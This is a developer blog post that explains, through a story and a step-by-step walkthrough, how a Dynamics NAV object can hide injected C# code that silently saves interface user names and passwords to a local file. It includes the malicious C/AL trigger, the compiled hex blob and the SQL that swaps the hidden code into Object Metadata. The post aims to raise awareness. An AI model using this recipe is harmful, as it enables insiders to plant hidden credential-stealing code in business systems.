Delivering the Expected - Solteq Developer Blog

Expect the Unexpected

Title image

Have you ever heard about any well-known ERP system being hacked recently? In my past 5-year experience as a Microsoft Dynamics NAV developer and consultant I have never experienced that. Does it mean we all are secured enough? No, we are rather just lulled into a false sense of security.

While it is extremely difficult to foresee all possible attacks, for sure there are some potential back doors, that we should be aware of. Appropriate steps should be taken in order to mitigate the risk. This time, I would like to explain one type of the attack that is possible to carry out in Microsoft Dynamics NAV. It is Trojan horse kind-of attack, or can be summarized as C# code injection as well.

Let me tell you a story…

The story

Bob is a developer working for Cronus company. Cronus is a modern, medium-size company, they use Microsoft Dynamics NAV as their ERP system. Microsoft Dynamics NAV is going to be integrated with different external systems, therefore Bob was asked to create a simple table that can be used to store code and name of the interface plus user name and password. When Bob is done, he sends the object to his supervisor Alice.

Alice does quality assurance, she imports the object, checks the table structure and checks code in the table - there is no code, but it was not required since it is very simple table. Bob will create page later on, but now this page is not required. So far, so good.

Code

Alice is release responsible. She releases Bob’s change to Cronus test database and few days later to live database as well.

Dave, Application Administrator opens that table to set up interfaces, he provides all data for the P2P interface. Suddenly, following message pops up:

You have been hacked

Also, Bob now knows that a special file for him was created in C:\temp folder. File is called pass.txt.

File with passwords

User names and passwords provided for each interface are saved here. What happened?

It was a Trojan horse attack performed by Bob. Bob used FOB file to move not only required C/AL code, but also C# code that was prepared to act like a Trojan horse.

Compiling object in C/SIDE solves the problem, but system has been already compromised.

Diagram

Description of the process:

  1. Attacker prepares an infected code. The objects are prepared in a way to mislead other developers (and release responsible) - they can see only the desired functionality, but not the C# code itself. Attacker sends objects in FOB file to the developer/release responsible.
  2. Developer or release responsible takes the objects in FOB file and imports it to Microsoft Dynamics NAV.
  3. When the object is run, injected code is activated (C# code). System is compromised. There are many possible malfunctions. Also data can be sent back to the attacker.

Explanation

The Object Metadata table and FOB file type play significant role here. Object Metadata table contains both C/AL Code and C# code. The same applies to FOB file - it stores both: C/AL and C# code. In fact, C/AL code is not used on run time. It is C# what is compiled and run as .NET platform code. C/AL is converted into C# at the moment of object compilation. Please note that Alice did not compile the object - because it seemed not necessary, object was already compiled - she just imported and verified the object. If the object was compiled, the system would not be compromised, because C# code would be generated based on correct C/AL code. Because Alice did not compile object, after importing the FOB file, Object Metadata was created, and C# code was taken from FOB (C# code injected). When object was run, this injected C# code was compiled and executed, therefore attacker’s code was executed, in fact.

What precisely Bob did to prepare this Trojan horse?

Like with a real Trojan horse, he just needed some raw material (wood) and usual tools like nails, hammer. Nothing sophisticated – he injected C# code – or actually replaced C# code, using C/SIDE and SQL Server Management Studio.

Please note: The method described below is presented only for demonstration purposes. We do not agree to repeat theses steps in order to perform any attack in Microsoft Dynamics NAV. Our goal is to increase awareness of the potential thread.

Step by step (horse is moving closer to city of Troy)

Create object with infected C/AL code.

OBJECT Table 50000 Interface
{
 OBJECT-PROPERTIES
 {
  Date=16.10.16;
  Time=12:12:12;
  Modified=Yes;
  Version List=;
 }
 PROPERTIES
 {
  OnInsert=VAR
        PasswordFile@1000000000 : File;
       BEGIN
        IF Password <> '' THEN BEGIN
         PasswordFile.WRITEMODE := TRUE;
         PasswordFile.TEXTMODE := TRUE;
         IF NOT FILE.EXISTS('C:\temp\pass.txt') THEN
          PasswordFile.CREATE('C:\temp\pass.txt')
         ELSE BEGIN
          PasswordFile.OPEN('C:\temp\pass.txt');
          PasswordFile.SEEK(PasswordFile.LEN);
         END;
         PasswordFile.WRITE("User Name" + ': ' + Password);
         PasswordFile.CLOSE;
         MESSAGE('You have been hacked');
        END;
       END;

 }
 FIELDS
 {
  { 1  ;  ;Code        ;Code10     }
  { 2  ;  ;Description     ;Text30     }
  { 3  ;  ;User Name      ;Text30     }
  { 4  ;  ;Password      ;Text30    ;ExtendedDatatype=Masked }
 }
 KEYS
 {
  {  ;Code                  ;Clustered=Yes }
 }
 FIELDGROUPS
 {
 }
 CODE
 {

  BEGIN
  END.
 }
}

Export C# code from Object Metadata table. Although you can do it in C/SIDE (using Codeunit for instance), you will not be able to update Object Metadata table later on using Codeunit. Therefore it is easier to do it in SQL Server Management Studio.

    select [User Code] from dbo.[Object Metadata] where [Object ID] = 50000 and [Object Type] = 1

The result is following:

0x02457D5BCD57596FDB46107E0F90FFB05180824454829778D875E1449653033E024B6D51D485B1A2C63213924BEC2E650B85FF7B879744CA946C377E886053BBA339BE999D6399D018444A03206761C0996037523B5A26340E03A19DD385F629136102427C4CD3280CA80C59F2F6CDBF6FDF1092FF3027E3A59010EFAF095BF45C66890C63789A71B24C413C934D1BDD0790E6989E21316471CC12ED9426F38CCE9F8164B480448EB3A9087858182944EAFF349B624088001AC18C041115825C42C0F86CA0E387EC11D4511272F6226484BCE730474DE49C253F67023809D80C887204A88017D1157DA42542F22C908CE32EE52C052E43106AA9A37C56F61B2695930907B8987E854092947244DF3F1F9E9E81A4133A8D80C4F5AAFF89B108684242318138659CF2657F0597885B149E959C63C9F310052C4E69B23CC774E98F21C8782897C76124A1F8556C5254747F4A0528150C5200EC3710B44CB72CB66C75A82EDDAFE2F9D00A090F175442EB18704D5A1284CC41D6CB158D100E32E3095114A234E45545DE864225AABA5FB33ED48B6722B8FF6E0817D1ACDC3F1BC77B4866AF96699D39DB646825245B00E7219AAA32E733C88F9964C78CC7549634E5249196496E428866E7593C05AE6EC4A792BD690891838AAA8DE2542E5761A883D6E4AD83F4F01294189930A6D19708BBA1F801218E1634CA30B986B46846C3BCE33C0DB3B68DD53D817B59227BDAB8909822ADEE42AEAF8775B6FC489D668BBF09DCB57A63DD885EA303ED0A1F671283821361757C0B16CEC8059E1750AEECE85EDB6AF625464E129492CA6650EAEF72DC2935DFF538C0822757996E4D4D51AC0F481EB83643D902D58E86D590CC07BCF2A839555F7F8F59C60318635085627A86ED5903C7710DDDD34D9C0D8EE9E3C6B26CD37074A34F3C1B3FA661E886EFBA3E72188639F00D57F71CDFB57CDF428AADBBB6AE3B03CBF16CD7C3D182BCBA35D01DDD352DD77050CA340786670E069EADA3F2414E41D3AEE3F8F8B00C63E0F489A5FB8E691BBE69A342CB709162B92ECAFBBA61204A13A52CDFD61D1B21DA9EE3389EA7FED36EF6E5ECDF086A31FE273C9CCF81635DDCB25941FFA59193BF6E9C52BBF47E2F4BBB08B15184F864B6DFCD8A96CABBCAFA382D58113685901B5319B06E85B8432CF9667F33533A52AC027449EFC6251AD291118DC1D6A2AF0BB31D27ADE5DF3A7F1AE38D60056E53BA4B19E672DE31A14BE7C3237F377A6E3BA48DE5ABF9DC38A15771BBA1EF459E870976B584469B45DF6CFD659D972D7475B56B113BC2D2CCAFAAAF54A95736946D1799C7DFDBFB5DD1743A6C8737CA702C63F95B28155DFD29BF515503505572F0DA9702B6864E6A38FA8FF3F9F9471EB231BD01C5EE17C58B6F185A2182D7AE770787BDDEBA076E9C476DCA689E643B02DAC7D33F718AC0597E0B3B20384661BF4B85B953450E679B86A6CF56EEF33BA58A370A8EEE4321857244251D71CEB836E1342D567D72D81BEE5DE14B5C7A955BD3E4BD444FD5A6B31BEEAED1DA6DB48FF00E3960876C9ABDE5EC6E87DD96BA87E6062201CF40347802D1450AC9FFC5B3B6E23C61650CF04DD9A09D42B2C3BD5AB3DBE64155126318D7E9535DA09BAAFBA4DB9D97E5BCF538E73F1CF6F648EFC377D78EDA99E8DECE441F460C5B4CB7A4DF26A3B9A390466C8E62672004BEDB17B7BFCF593853AAF74EFC73F481EBE130C79B42B1CFAF0C162E0D1D87BE69E8C543CDB3E02F96915BBA0032054870157C8359AFB3476F7F05C3E5C37F

Update object in C/AL - remove all infected code.

OBJECT Table 50000 Interface
{
 OBJECT-PROPERTIES
 {
  Date=16.10.16;
  Time=12:12:12;
  Modified=Yes;
  Version List=;
 }
 PROPERTIES
 {
 }
 FIELDS
 {
  { 1  ;  ;Code        ;Code10     }
  { 2  ;  ;Description     ;Text30     }
  { 3  ;  ;User Name      ;Text30     }
  { 4  ;  ;Password      ;Text30    ;ExtendedDatatype=Masked }
 }
 KEYS
 {
  {  ;Code                  ;Clustered=Yes }
 }
 FIELDGROUPS
 {
 }
 CODE
 {

  BEGIN
  END.
 }
}

Now, replace current C# code with the infected C# code. In order to do this, use SQL Server Management Studio again:

update dbo.[Object Metadata]
set [User Code] = 0x02457D5BCD57596FDB46107E0F90FFB05180824454829778D875E1449653033E024B6D51D485B1A2C63213924BEC2E650B85FF7B879744CA946C377E886053BBA339BE999D6399D018444A03206761C0996037523B5A26340E03A19DD385F629136102427C4CD3280CA80C59F2F6CDBF6FDF1092FF3027E3A59010EFAF095BF45C66890C63789A71B24C413C934D1BDD0790E6989E21316471CC12ED9426F38CCE9F8164B480448EB3A9087858182944EAFF349B624088001AC18C041115825C42C0F86CA0E387EC11D4511272F6226484BCE730474DE49C253F67023809D80C887204A88017D1157DA42542F22C908CE32EE52C052E43106AA9A37C56F61B2695930907B8987E854092947244DF3F1F9E9E81A4133A8D80C4F5AAFF89B108684242318138659CF2657F0597885B149E959C63C9F310052C4E69B23CC774E98F21C8782897C76124A1F8556C5254747F4A0528150C5200EC3710B44CB72CB66C75A82EDDAFE2F9D00A090F175442EB18704D5A1284CC41D6CB158D100E32E3095114A234E45545DE864225AABA5FB33ED48B6722B8FF6E0817D1ACDC3F1BC77B4866AF96699D39DB646825245B00E7219AAA32E733C88F9964C78CC7549634E5249196496E428866E7593C05AE6EC4A792BD690891838AAA8DE2542E5761A883D6E4AD83F4F01294189930A6D19708BBA1F801218E1634CA30B986B46846C3BCE33C0DB3B68DD53D817B59227BDAB8909822ADEE42AEAF8775B6FC489D668BBF09DCB57A63DD885EA303ED0A1F671283821361757C0B16CEC8059E1750AEECE85EDB6AF625464E129492CA6650EAEF72DC2935DFF538C0822757996E4D4D51AC0F481EB83643D902D58E86D590CC07BCF2A839555F7F8F59C60318635085627A86ED5903C7710DDDD34D9C0D8EE9E3C6B26CD37074A34F3C1B3FA661E886EFBA3E72188639F00D57F71CDFB57CDF428AADBBB6AE3B03CBF16CD7C3D182BCBA35D01DDD352DD77050CA340786670E069EADA3F2414E41D3AEE3F8F8B00C63E0F489A5FB8E691BBE69A342CB709162B92ECAFBBA61204A13A52CDFD61D1B21DA9EE3389EA7FED36EF6E5ECDF086A31FE273C9CCF81635DDCB25941FFA59193BF6E9C52BBF47E2F4BBB08B15184F864B6DFCD8A96CABBCAFA382D58113685901B5319B06E85B8432CF9667F33533A52AC027449EFC6251AD291118DC1D6A2AF0BB31D27ADE5DF3A7F1AE38D60056E53BA4B19E672DE31A14BE7C3237F377A6E3BA48DE5ABF9DC38A15771BBA1EF459E870976B584469B45DF6CFD659D972D7475B56B113BC2D2CCAFAAAF54A95736946D1799C7DFDBFB5DD1743A6C8737CA702C63F95B28155DFD29BF515503505572F0DA9702B6864E6A38FA8FF3F9F9471EB231BD01C5EE17C58B6F185A2182D7AE770787BDDEBA076E9C476DCA689E643B02DAC7D33F718AC0597E0B3B20384661BF4B85B953450E679B86A6CF56EEF33BA58A370A8EEE4321857244251D71CEB836E1342D567D72D81BEE5DE14B5C7A955BD3E4BD444FD5A6B31BEEAED1DA6DB48FF00E3960876C9ABDE5EC6E87DD96BA87E6062201CF40347802D1450AC9FFC5B3B6E23C61650CF04DD9A09D42B2C3BD5AB3DBE64155126318D7E9535DA09BAAFBA4DB9D97E5BCF538E73F1CF6F648EFC377D78EDA99E8DECE441F460C5B4CB7A4DF26A3B9A390466C8E62672004BEDB17B7BFCF593853AAF74EFC73F481EBE130C79B42B1CFAF0C162E0D1D87BE69E8C543CDB3E02F96915BBA0032054870157C8359AFB3476F7F05C3E5C37F
where [Object ID] = 50000 and [Object Type] = 1

Export the object as FOB. Import object, do not compile, and run it.

Better safe than sorry

Lesson learnt. It leads us to the following conclusions:




Join us?

See what we have to offer - Careers